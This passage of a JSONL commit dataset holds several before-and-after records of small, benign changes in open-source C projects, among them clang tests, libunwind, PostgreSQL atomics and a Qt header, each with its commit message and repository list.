mi\/root,satyarth934\/root,esakellari\/root,lgiommi\/root,perovic\/root,lgiommi\/root,lgiommi\/root,bbockelm\/root,dfunke\/root,sawenzel\/root,kirbyherm\/root-r-tools,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,esakellari\/my_root_for_test,mattkretz\/root,gbitzes\/root,olifre\/root,buuck\/root,ffurano\/root5,mattkretz\/root,bbockelm\/root,davidlt\/root,strykejern\/TTreeReader,davidlt\/root,nilqed\/root,cxx-hep\/root-cern,sbinet\/cxx-root,olifre\/root,smarinac\/root,nilqed\/root,gbitzes\/root,mattkretz\/root,mattkretz\/root,CristinaCristescu\/root,alexschlueter\/cern-root,perovic\/root,strykejern\/TTreeReader,satyarth934\/root,georgtroska\/root,strykejern\/TTreeReader,sbinet\/cxx-root,Duraznos\/root,pspe\/root,alexschlueter\/cern-root,karies\/root,cxx-hep\/root-cern,vukasinmilosevic\/root,Y--\/root,omazapa\/root-old,strykejern\/TTreeReader,root-mirror\/root,mhuwiler\/rootauto,tc3t\/qoot,olifre\/root,zzxuanyuan\/root,agarciamontoro\/root,Y--\/root,sbinet\/cxx-root,tc3t\/qoot,Y--\/root,karies\/root,gganis\/root,sbinet\/cxx-root,pspe\/root,vukasinmilosevic\/root,BerserkerTroll\/root,esakellari\/my_root_for_test,agarciamontoro\/root,abhinavmoudgil95\/root,veprbl\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,arch1tect0r\/root,mhuwiler\/rootauto,Duraznos\/root,lgiommi\/root,karies\/root,nilqed\/root,zzxuanyuan\/root-compressor-dummy,mattkretz\/root,pspe\/root,kirbyherm\/root-r-tools,mhuwiler\/rootauto,veprbl\/root,0x0all\/ROOT,omazapa\/root,bbockelm\/root,ffurano\/root5,ffurano\/root5,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,karies\/root,georgtroska\/root,kirbyherm\/root-r-tools,zzxuanyuan\/root-compressor-dummy,esakellari\/my_root_for_test,zzxuanyuan\/root,omazapa\/root-old,arch1tect0r\/root,CristinaCristescu\/root,arch1tect0r\/root,abhinavmoudgil95\/root,nilqed\/root,strykejern\/TTreeReader,sirinath\/root,gganis\/root,agarciamontoro\/root,Duraznos\/root,smarinac\/root,Y--\/root,esakellari\/my_root_for_test,georgtroska\/root,buuck\/root,krafczyk\/root,BerserkerTroll\/root,olifre\/root,omazapa\/root,evgeny-boger\/root,mhuwiler\/rootauto,evgeny-boger\/root,veprbl\/root,georgtroska\/root,sawenzel\/root,gbitzes\/root,jrtomps\/root,buuck\/root,veprbl\/root,sirinath\/root,evgeny-boger\/root,krafczyk\/root,root-mirror\/root,beniz\/root,dfunke\/root,jrtomps\/root,satyarth934\/root,BerserkerTroll\/root,thomaskeck\/root,abhinavmoudgil95\/root,georgtroska\/root,Y--\/root,abhinavmoudgil95\/root,agarciamontoro\/root,sawenzel\/root,davidlt\/root,zzxuanyuan\/root,mkret2\/root,mkret2\/root,satyarth934\/root,agarciamontoro\/root,arch1tect0r\/root,bbockelm\/root,olifre\/root,ffurano\/root5,mhuwiler\/rootauto,omazapa\/root,root-mirror\/root,esakellari\/my_root_for_test,cxx-hep\/root-cern,pspe\/root,BerserkerTroll\/root,omazapa\/root-old,smarinac\/root,evgeny-boger\/root,sawenzel\/root,evgeny-boger\/root,esakellari\/root,esakellari\/my_root_for_test,cxx-hep\/root-cern,tc3t\/qoot,0x0all\/ROOT,thomaskeck\/root,omazapa\/root-old,BerserkerTroll\/root,simonpf\/root,davidlt\/root,esakellari\/my_root_for_test,tc3t\/qoot,buuck\/root,lgiommi\/root,tc3t\/qoot,pspe\/root,lgiommi\/root,beniz\/root,0x0all\/ROOT,nilqed\/root,ffurano\/root5,agarciamontoro\/root,Dr15Jones\/root,lgiommi\/root,simonpf\/root,vukasinmilosevic\/root,smarinac\/root,bbockelm\/root,mhuwiler\/rootauto,mkret2\/root,beniz\/root,perovic\/root,0x0all\/ROOT,georgtroska\/root,CristinaCristescu\/root,davidlt\/root,CristinaCristescu\/root,kirbyherm\/root-r-tools,karies\/root,krafczyk\/root,abhinavmoudgil95\/root,sawenzel\/root,georgtroska\/root,Duraznos\/root,gganis\/root,buuck\/root,mhuwiler\/rootauto,omazapa\/root,sbinet\/cxx-root,zzxuanyuan\/root,gbitzes\/root,sbinet\/cxx-root,buuck\/root,veprbl\/root,beniz\/root,gganis\/root,olifre\/root,ffurano\/root5,mkret2\/root,gbitzes\/root,tc3t\/qoot,root-mirror\/root,Duraznos\/root,zzxuanyuan\/root,kirbyherm\/root-r-tools,satyarth934\/root,vukasinmilosevic\/root,buuck\/root,sbinet\/cxx-root,root-mirror\/root,0x0all\/ROOT,esakellari\/root,olifre\/root,gganis\/root,satyarth934\/root,Dr15Jones\/root,simonpf\/root,CristinaCristescu\/root,krafczyk\/root,agarciamontoro\/root,BerserkerTroll\/root,thomaskeck\/root,dfunke\/root,evgeny-boger\/root,sirinath\/root,0x0all\/ROOT,mkret2\/root,gganis\/root,jrtomps\/root,0x0all\/ROOT,sbinet\/cxx-root,BerserkerTroll\/root,agarciamontoro\/root,simonpf\/root,sawenzel\/root,sbinet\/cxx-root,dfunke\/root,omazapa\/root-old,bbockelm\/root,mkret2\/root,strykejern\/TTreeReader,davidlt\/root,abhinavmoudgil95\/root,Y--\/root,0x0all\/ROOT,perovic\/root,nilqed\/root,mattkretz\/root,arch1tect0r\/root,evgeny-boger\/root,davidlt\/root,sawenzel\/root,karies\/root,mkret2\/root,bbockelm\/root,karies\/root,Duraznos\/root,perovic\/root,sbinet\/cxx-root,krafczyk\/root,simonpf\/root,krafczyk\/root,zzxuanyuan\/root,thomaskeck\/root,olifre\/root,arch1tect0r\/root,root-mirror\/root,root-mirror\/root,jrtomps\/root,alexschlueter\/cern-root,mhuwiler\/rootauto,dfunke\/root,esakellari\/my_root_for_test,sirinath\/root,davidlt\/root,Y--\/root,krafczyk\/root,veprbl\/root,thomaskeck\/root,gbitzes\/root,dfunke\/root,jrtomps\/root,simonpf\/root,esakellari\/root,zzxuanyuan\/root,beniz\/root,dfunke\/root,olifre\/root,Dr15Jones\/root,agarciamontoro\/root,alexschlueter\/cern-root,pspe\/root,omazapa\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,alexschlueter\/cern-root,lgiommi\/root,gganis\/root,zzxuanyuan\/root,simonpf\/root,davidlt\/root,mhuwiler\/rootauto,Y--\/root,smarinac\/root,dfunke\/root,Duraznos\/root,pspe\/root,bbockelm\/root,mkret2\/root,arch1tect0r\/root,cxx-hep\/root-cern,esakellari\/root,buuck\/root,olifre\/root,esakellari\/my_root_for_test,tc3t\/qoot,beniz\/root,strykejern\/TTreeReader,omazapa\/root-old,beniz\/root,nilqed\/root,mattkretz\/root,pspe\/root,omazapa\/root,nilqed\/root,perovic\/root,omazapa\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,root-mirror\/root,CristinaCristescu\/root,gganis\/root,vukasinmilosevic\/root,beniz\/root,georgtroska\/root,dfunke\/root,simonpf\/root,vukasinmilosevic\/root,zzxuanyuan\/root,jrtomps\/root,Y--\/root,karies\/root,satyarth934\/root,alexschlueter\/cern-root,nilqed\/root,gbitzes\/root,thomaskeck\/root,beniz\/root,buuck\/root,jrtomps\/root,sirinath\/root,CristinaCristescu\/root,olifre\/root,mkret2\/root,omazapa\/root,vukasinmilosevic\/root,lgiommi\/root,gbitzes\/root,bbockelm\/root,jrtomps\/root,abhinavmoudgil95\/root,georgtroska\/root,Dr15Jones\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,krafczyk\/root,arch1tect0r\/root,beniz\/root,nilqed\/root,kirbyherm\/root-r-tools,mattkretz\/root,Duraznos\/root,mattkretz\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,cxx-hep\/root-cern,BerserkerTroll\/root,kirbyherm\/root-r-tools,vukasinmilosevic\/root,sawenzel\/root,satyarth934\/root,tc3t\/qoot,lgiommi\/root,simonpf\/root,buuck\/root,Dr15Jones\/root,georgtroska\/root,CristinaCristescu\/root,esakellari\/my_root_for_test,jrtomps\/root,CristinaCristescu\/root,omazapa\/root-old,sirinath\/root,sirinath\/root,satyarth934\/root,perovic\/root,buuck\/root,tc3t\/qoot,arch1tect0r\/root,Dr15Jones\/root,abhinavmoudgil95\/root,thomaskeck\/root,alexschlueter\/cern-root,perovic\/root,abhinavmoudgil95\/root,sirinath\/root,mattkretz\/root,pspe\/root,Duraznos\/root,perovic\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,perovic\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,karies\/root,dfunke\/root,veprbl\/root,BerserkerTroll\/root,cxx-hep\/root-cern,Dr15Jones\/root,bbockelm\/root,simonpf\/root,dfunke\/root,cxx-hep\/root-cern,smarinac\/root,smarinac\/root,mkret2\/root,vukasinmilosevic\/root,CristinaCristescu\/root,zzxuanyuan\/root,esakellari\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,mkret2\/root,abhinavmoudgil95\/root,bbockelm\/root,krafczyk\/root,esakellari\/root,sawenzel\/root,Duraznos\/root,esakellari\/root,veprbl\/root,davidlt\/root,jrtomps\/root,evgeny-boger\/root,evgeny-boger\/root,davidlt\/root,thomaskeck\/root,sawenzel\/root,Y--\/root,karies\/root,thomaskeck\/root,BerserkerTroll\/root,mattkretz\/root"}
{"commit":"3d7b3ba49dcac501c828eb222ce66ae907540d14","old_file":"test\/Driver\/XRay\/xray-instrument-os.c","new_file":"test\/Driver\/XRay\/xray-instrument-os.c","old_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: -linux-\n\/\/ REQUIRES-ANY: amd64, x86_64, x86_64h, arm, aarch64, arm64\ntypedef int a;\n","new_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: -linux-, -freebsd\n\/\/ REQUIRES-ANY: amd64, x86_64, x86_64h, arm, aarch64, arm64\ntypedef int a;\n","subject":"Fix an XRay test on FreeBSD","message":"[test] Fix an XRay test on FreeBSD\n\nSummary: Fixing clang-test on FreeBSD as a follow-up of https:\/\/reviews.llvm.org\/D43378 to handle the revert happened in r325749.\n\nReviewers: devnexen, krytarowski, dberris\n\nSubscribers: emaste, dberris, cfe-commits\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D45002\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@328797 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"1a3be280fca9d613e9e1c176b6b930c397f19730","old_file":"include\/conveyor\/job.h","new_file":"include\/conveyor\/job.h","old_contents":"\/\/ vim:cindent:cino=\\:0:et:fenc=utf-8:ff=unix:sw=4:ts=4:\n\n#ifndef CONVEYOR_JOB_H\n#define CONVEYOR_JOB_H (1)\n\n#include <QList>\n#include <QObject>\n#include <QScopedPointer>\n#include <QString>\n\n#include <conveyor\/fwd.h>\n#include <conveyor\/jobstatus.h>\n\nnamespace conveyor\n{\n    class Job : public QObject\n    {\n        Q_OBJECT\n\n    public:\n        ~Job (void);\n\n        int id (void) const;\n        QString name (void) const;\n        JobState state (void) const;\n        JobConclusion conclusion (void) const;\n\n        int currentStepProgress (void) const;\n        QString currentStepName (void) const;\n\n        void cancel (void);\n        void pause (void);\n        \n    signals:\n        void changed (const Job *);\n\n    private:\n        Job (Conveyor * conveyor, int const & id);\n\n        QScopedPointer <JobPrivate> m_private;\n\n        void emitChanged (void);\n\n        friend class Conveyor;\n        friend class ConveyorPrivate;\n        friend class JobAddedMethod;\n        friend class JobChangedMethod;\n        friend class JobPrivate;\n        friend class Printer;\n        friend class PrinterPrivate;\n    };\n}\n\n#endif\n","new_contents":"\/\/ vim:cindent:cino=\\:0:et:fenc=utf-8:ff=unix:sw=4:ts=4:\n\n#ifndef CONVEYOR_JOB_H\n#define CONVEYOR_JOB_H (1)\n\n#include <QList>\n#include <QObject>\n#include <QScopedPointer>\n#include <QString>\n\n#include <conveyor\/fwd.h>\n#include <conveyor\/jobstatus.h>\n\nnamespace conveyor\n{\n    class Job : public QObject\n    {\n        Q_OBJECT\n\n    public:\n        ~Job (void);\n\n        int id (void) const;\n        QString name (void) const;\n        JobState state (void) const;\n        JobConclusion conclusion (void) const;\n\n        int currentStepProgress (void) const;\n        QString currentStepName (void) const;\n\n    public slots:\n        void cancel (void);\n        void pause (void);\n        \n    signals:\n        void changed (const Job *);\n\n    private:\n        Job (Conveyor * conveyor, int const & id);\n\n        QScopedPointer <JobPrivate> m_private;\n\n        void emitChanged (void);\n\n        friend class Conveyor;\n        friend class ConveyorPrivate;\n        friend class JobAddedMethod;\n        friend class JobChangedMethod;\n        friend class JobPrivate;\n        friend class Printer;\n        friend class PrinterPrivate;\n    };\n}\n\n#endif\n","subject":"Make Job::cancel and Job::pause public slots","message":"Make Job::cancel and Job::pause public slots\n","lang":"C","license":"agpl-3.0","repos":"makerbot\/conveyor,makerbot\/conveyor,makerbot\/conveyor,makerbot\/conveyor"}
{"commit":"4222ba870d2fc3b89d7e78508e2f0ec18f69ca22","old_file":"include\/cling\/UserInterface\/CompilationException.h","new_file":"include\/cling\/UserInterface\/CompilationException.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_COMPILATIONEXCEPTION_H\n#define CLING_COMPILATIONEXCEPTION_H\n\n#include <stdexcept>\n#include <string>\n#include \"cling\/Interpreter\/RuntimeException.h\"\n\nnamespace cling {\n  class Interpreter;\n  class MetaProcessor;\n\n  \/\/\\brief Exception pull us out of JIT (llvm + clang) errors.\n  class CompilationException:\n    public virtual runtime::InterpreterException,\n    public virtual std::runtime_error {\n  public:\n    CompilationException(const std::string& reason):\n      std::runtime_error(reason) {}\n    ~CompilationException() throw(); \/\/ vtable pinned to UserInterface.cpp\n    virtual const char* what() const throw() {\n      return std::runtime_error::what(); }\n  };\n}\n\n#endif \/\/ CLING_COMPILATIONEXCEPTION_H\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_COMPILATIONEXCEPTION_H\n#define CLING_COMPILATIONEXCEPTION_H\n\n#include <stdexcept>\n#include <string>\n#include \"cling\/Interpreter\/RuntimeException.h\"\n\nnamespace cling {\n  class Interpreter;\n  class MetaProcessor;\n\n  \/\/\/\\brief Exception that pulls cling out of runtime-compilation (llvm + clang)\n  \/\/\/       errors.\n  \/\/\/\n  \/\/\/ If user code provokes an llvm::unreachable it will cause this exception\n  \/\/\/ to be thrown. Given that this is at the process's runtime and an\n  \/\/\/ interpreter error it inherits from InterpreterException and runtime_error.\n  \/\/\/ Note that this exception is *not* thrown during the execution of the\n  \/\/\/ user's code but during its compilation (at runtime).\n  class CompilationException:\n    public virtual runtime::InterpreterException,\n    public virtual std::runtime_error {\n  public:\n    CompilationException(const std::string& reason):\n      std::runtime_error(reason) {}\n    ~CompilationException() throw(); \/\/ vtable pinned to UserInterface.cpp\n    virtual const char* what() const throw() {\n      return std::runtime_error::what(); }\n  };\n}\n\n#endif \/\/ CLING_COMPILATIONEXCEPTION_H\n","subject":"Add more rationale as to how this exception is different from others.","message":"Add more rationale as to how this exception is different from others.\n","lang":"C","license":"lgpl-2.1","repos":"karies\/cling,perovic\/cling,root-mirror\/cling,marsupial\/cling,marsupial\/cling,marsupial\/cling,karies\/cling,root-mirror\/cling,marsupial\/cling,perovic\/cling,karies\/cling,karies\/cling,root-mirror\/cling,perovic\/cling,root-mirror\/cling,perovic\/cling,perovic\/cling,karies\/cling,root-mirror\/cling,root-mirror\/cling,karies\/cling,marsupial\/cling,marsupial\/cling"}
{"commit":"ed5d70eae8e393b9572ece4bf2a7829a56d67c92","old_file":"test\/CodeGen\/target-builtin-noerror.c","new_file":"test\/CodeGen\/target-builtin-noerror.c","old_contents":"\/\/ RUN: %clang_cc1 %s -triple=x86_64-linux-gnu -S -o -\n#define __MM_MALLOC_H\n\n#include <x86intrin.h>\n\n\/\/ No warnings.\nextern __m256i a;\nint __attribute__((target(\"avx\"))) bar(__m256i a) {\n  return _mm256_extract_epi32(a, 3);\n}\n\nint baz() {\n  return bar(a);\n}\n\nint __attribute__((target(\"avx\"))) qq_avx(__m256i a) {\n  return _mm256_extract_epi32(a, 3);\n}\n\nint qq_noavx() {\n  return 0;\n}\n\nextern __m256i a;\nint qq() {\n  if (__builtin_cpu_supports(\"avx\"))\n    return qq_avx(a);\n  else\n    return qq_noavx();\n}\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 %s -triple=x86_64-linux-gnu -S -o -\n#define __MM_MALLOC_H\n\n#include <x86intrin.h>\n\n\/\/ No warnings.\nextern __m256i a;\nint __attribute__((target(\"avx\"))) bar(__m256i a) {\n  return _mm256_extract_epi32(a, 3);\n}\n\nint baz() {\n  return bar(a);\n}\n\nint __attribute__((target(\"avx\"))) qq_avx(__m256i a) {\n  return _mm256_extract_epi32(a, 3);\n}\n\nint qq_noavx() {\n  return 0;\n}\n\nextern __m256i a;\nint qq() {\n  if (__builtin_cpu_supports(\"avx\"))\n    return qq_avx(a);\n  else\n    return qq_noavx();\n}\n","subject":"Mark this test as requiring and x86 registered target.","message":"Mark this test as requiring and x86 registered target.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@250475 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"f8f1430ae709c0018a217c77893754f38b3c5b93","old_file":"src\/include\/port\/atomics\/arch-arm.h","new_file":"src\/include\/port\/atomics\/arch-arm.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * arch-arm.h\n *\t  Atomic operations considerations specific to ARM\n *\n * Portions Copyright (c) 2013-2017, PostgreSQL Global Development Group\n *\n * NOTES:\n *\n * src\/include\/port\/atomics\/arch-arm.h\n *\n *-------------------------------------------------------------------------\n *\/\n\n\/* intentionally no include guards, should only be included by atomics.h *\/\n#ifndef INSIDE_ATOMICS_H\n#error \"should be included via atomics.h\"\n#endif\n\n\/*\n * 64 bit atomics on arm are implemented using kernel fallbacks and might be\n * slow, so disable entirely for now.\n * XXX: We might want to change that at some point for AARCH64\n *\/\n#define PG_DISABLE_64_BIT_ATOMICS\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * arch-arm.h\n *\t  Atomic operations considerations specific to ARM\n *\n * Portions Copyright (c) 2013-2017, PostgreSQL Global Development Group\n *\n * NOTES:\n *\n * src\/include\/port\/atomics\/arch-arm.h\n *\n *-------------------------------------------------------------------------\n *\/\n\n\/* intentionally no include guards, should only be included by atomics.h *\/\n#ifndef INSIDE_ATOMICS_H\n#error \"should be included via atomics.h\"\n#endif\n\n\/*\n * 64 bit atomics on ARM32 are implemented using kernel fallbacks and thus\n * might be slow, so disable entirely. On ARM64 that problem doesn't exist.\n *\/\n#if !defined(__aarch64__) && !defined(__aarch64)\n#define PG_DISABLE_64_BIT_ATOMICS\n#endif  \/* __aarch64__ || __aarch64 *\/\n","subject":"Enable 64 bit atomics on ARM64.","message":"Enable 64 bit atomics on ARM64.\n\nPreviously they were disabled due to performance concerns on 32bit\narm, where 64bit atomics are often implemented via kernel traps.\n\nAuthor: Roman Shaposhnik\nDiscussion: 3cd39cbacb0d69a21809879b1660e5325a970d65@mail.gmail.com\n","lang":"C","license":"apache-2.0","repos":"lisakowen\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,50wu\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,adam8157\/gpdb,adam8157\/gpdb,adam8157\/gpdb,50wu\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,50wu\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,50wu\/gpdb,50wu\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb"}
{"commit":"f57e180366de9537a25e8454a53705d7c0a05744","old_file":"Sources\/Tests\/DataStructures\/Test_DataStructures.c","new_file":"Sources\/Tests\/DataStructures\/Test_DataStructures.c","old_contents":"","new_contents":"#include \"unity.h\"\n#include \"unity_fixture.h\"\n#include \"Utils\/IO\/ArrayIO.h\"\n#include \"Utils\/IO\/BlockMapIO.h\"\n#include \"Utils\/IO\/ImageIO.h\"\n#include \"Utils\/IO\/HistogramIO.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\nbool IsUnderCI = false ;\n\nTEST_GROUP(DataStructures);\n\nTEST_SETUP(DataStructures)\n{\n    IsUnderCI = (getenv(\"CI\") != NULL);\n}\n\nTEST_TEAR_DOWN(DataStructures)\n{\n}\n\nTEST(DataStructures, BlockMap_SanityCheck)\n{\n    BlockMap blockMap = BlockMapIO_ConstructFromFile(\"DataStructures\/101_1.tif.12.Equalize.blocks.dat\");\n    if (!IsUnderCI)\n    {\n        BlockMapIO_Printf(&blockMap);\n    }\n}\n\nTEST(DataStructures, Image_SanityCheck)\n{\n    UInt8Array2D image = ImageIO_ConstructFromFile(\"DataStructures\/101_1.tif.12.Equalize.image.dat\");\n    if (!IsUnderCI)\n    {\n        ImageIO_Printf(&image);\n    }\n}\n\nTEST(DataStructures, Histogram_SanityCheck)\n{\n    Int16Array3D histogram = HistogramIO_ConstructFromFile(\"DataStructures\/101_1.tif.12.Equalize.histgram.dat\");\n    if (!IsUnderCI)\n    {\n        HistogramIO_Printf(&histogram);\n    }\n}\n","subject":"Rename and don't spit out all the sanity output when running on the CI server.","message":"Rename and don't spit out all the sanity output when running on the CI server.\n","lang":"C","license":"bsd-3-clause","repos":"SimPrints\/libAFIS,SimPrints\/libAFIS,mjfh\/libAFIS,SimPrints\/libAFIS,mjfh\/libAFIS,mjfh\/libAFIS"}
{"commit":"310116bb0b482518dcd4dd87d94ac8f30e3a2c64","old_file":"src\/qt\/qtipcserver.h","new_file":"src\/qt\/qtipcserver.h","old_contents":"#ifndef QTIPCSERVER_H\n#define QTIPCSERVER_H\n\n\/\/ Define Bitcoin-Qt message queue name\n#define BITCOINURI_QUEUE_NAME \"BitcoinURI\"\n\nvoid ipcScanRelay(int argc, char *argv[]);\nvoid ipcInit(int argc, char *argv[]);\n\n#endif \/\/ QTIPCSERVER_H\n","new_contents":"#ifndef QTIPCSERVER_H\n#define QTIPCSERVER_H\n\n\/\/ Define Bitcoin-Qt message queue name\n#define BITCOINURI_QUEUE_NAME \"CrainCoinURI\"\n\nvoid ipcScanRelay(int argc, char *argv[]);\nvoid ipcInit(int argc, char *argv[]);\n\n#endif \/\/ QTIPCSERVER_H\n","subject":"Set correct name for boost IPC","message":"Set correct name for boost IPC\n","lang":"C","license":"mit","repos":"graincoin-project\/graincoin,graincoin-project\/graincoin,graincoin-project\/graincoin,graincoin-project\/graincoin,graincoin-project\/graincoin"}
{"commit":"dc89a17613a19e40261745ae41385894d8511a68","old_file":"src\/hppa\/Gglobal.c","new_file":"src\/hppa\/Gglobal.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (c) 2004-2005 Hewlett-Packard Development Company, L.P.\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nHIDDEN pthread_mutex_t hppa_lock = PTHREAD_MUTEX_INITIALIZER;\nHIDDEN int tdep_needs_initialization = 1;\n\nHIDDEN void\ntdep_init (void)\n{\n  intrmask_t saved_mask;\n\n  sigfillset (&unwi_full_mask);\n\n  sigprocmask (SIG_SETMASK, &unwi_full_mask, &saved_mask);\n  mutex_lock (&hppa_lock);\n  {\n    if (!tdep_needs_initialization)\n      \/* another thread else beat us to it... *\/\n      goto out;\n\n    mi_init ();\n\n    dwarf_init ();\n\n#ifndef UNW_REMOTE_ONLY\n    hppa_local_addr_space_init ();\n#endif\n    tdep_needs_initialization = 0;\t\/* signal that we're initialized... *\/\n  }\n out:\n  mutex_unlock (&hppa_lock);\n  sigprocmask (SIG_SETMASK, &saved_mask, NULL);\n}\n","subject":"Adjust for sigset_t to intrmask_t renaming.","message":"Adjust for sigset_t to intrmask_t renaming.\n\n2004\/12\/02 00:40:45-08:00 mostang.com!davidm\nAdd copyright notice.\nProvide canonical DWARF-based implementation.\n\n2004\/11\/30 23:38:42-08:00 mostang.com!davidm\nRename: src\/hppa\/global.c -> src\/hppa\/Gglobal.c\n\n(Logical change 1.290)\n","lang":"C","license":"mit","repos":"fillexen\/libunwind,rantala\/libunwind,adsharma\/libunwind,bo-on-software\/libunwind,martyone\/libunwind,zeldin\/platform_external_libunwind,DroidSim\/platform_external_libunwind,fdoray\/libunwind,zeldin\/platform_external_libunwind,frida\/libunwind,vegard\/libunwind,SyndicateRogue\/libunwind,dropbox\/libunwind,geekboxzone\/lollipop_external_libunwind,krytarowski\/libunwind,yuyichao\/libunwind,cms-externals\/libunwind,SyndicateRogue\/libunwind,vtjnash\/libunwind,rogwfu\/libunwind,zeldin\/platform_external_libunwind,maltek\/platform_external_libunwind,cms-externals\/libunwind,dropbox\/libunwind,yuyichao\/libunwind,ehsan\/libunwind,CyanogenMod\/android_external_libunwind,geekboxzone\/lollipop_external_libunwind,project-zerus\/libunwind,Chilledheart\/libunwind,jrmuizel\/libunwind,bo-on-software\/libunwind,vegard\/libunwind,maltek\/platform_external_libunwind,fillexen\/libunwind,rantala\/libunwind,dropbox\/libunwind,unkadoug\/libunwind,vegard\/libunwind,tony\/libunwind,0xlab\/0xdroid-external_libunwind,Keno\/libunwind,atanasyan\/libunwind,igprof\/libunwind,geekboxzone\/lollipop_external_libunwind,0xlab\/0xdroid-external_libunwind,geekboxzone\/mmallow_external_libunwind,krytarowski\/libunwind,dagar\/libunwind,0xlab\/0xdroid-external_libunwind,igprof\/libunwind,maltek\/platform_external_libunwind,tronical\/libunwind,android-ia\/platform_external_libunwind,frida\/libunwind,zliu2014\/libunwind-tilegx,pathscale\/libunwind,project-zerus\/libunwind,zliu2014\/libunwind-tilegx,CyanogenMod\/android_external_libunwind,djwatson\/libunwind,evaautomation\/libunwind,olibc\/libunwind,Keno\/libunwind,tronical\/libunwind,android-ia\/platform_external_libunwind,zliu2014\/libunwind-tilegx,dreal-deps\/libunwind,dagar\/libunwind,atanasyan\/libunwind,rantala\/libunwind,jrmuizel\/libunwind,vtjnash\/libunwind,pathscale\/libunwind,geekboxzone\/mmallow_external_libunwind,ehsan\/libunwind,libunwind\/libunwind,ehsan\/libunwind,mpercy\/libunwind,dagar\/libunwind,frida\/libunwind,unkadoug\/libunwind,lat\/libunwind,dreal-deps\/libunwind,tkelman\/libunwind,pathscale\/libunwind,cloudius-systems\/libunwind,adsharma\/libunwind,adsharma\/libunwind,Chilledheart\/libunwind,wdv4758h\/libunwind,tkelman\/libunwind,olibc\/libunwind,rntz\/libunwind,evaautomation\/libunwind,mpercy\/libunwind,joyent\/libunwind,joyent\/libunwind,fillexen\/libunwind,cloudius-systems\/libunwind,libunwind\/libunwind,wdv4758h\/libunwind,wdv4758h\/libunwind,android-ia\/platform_external_libunwind,igprof\/libunwind,and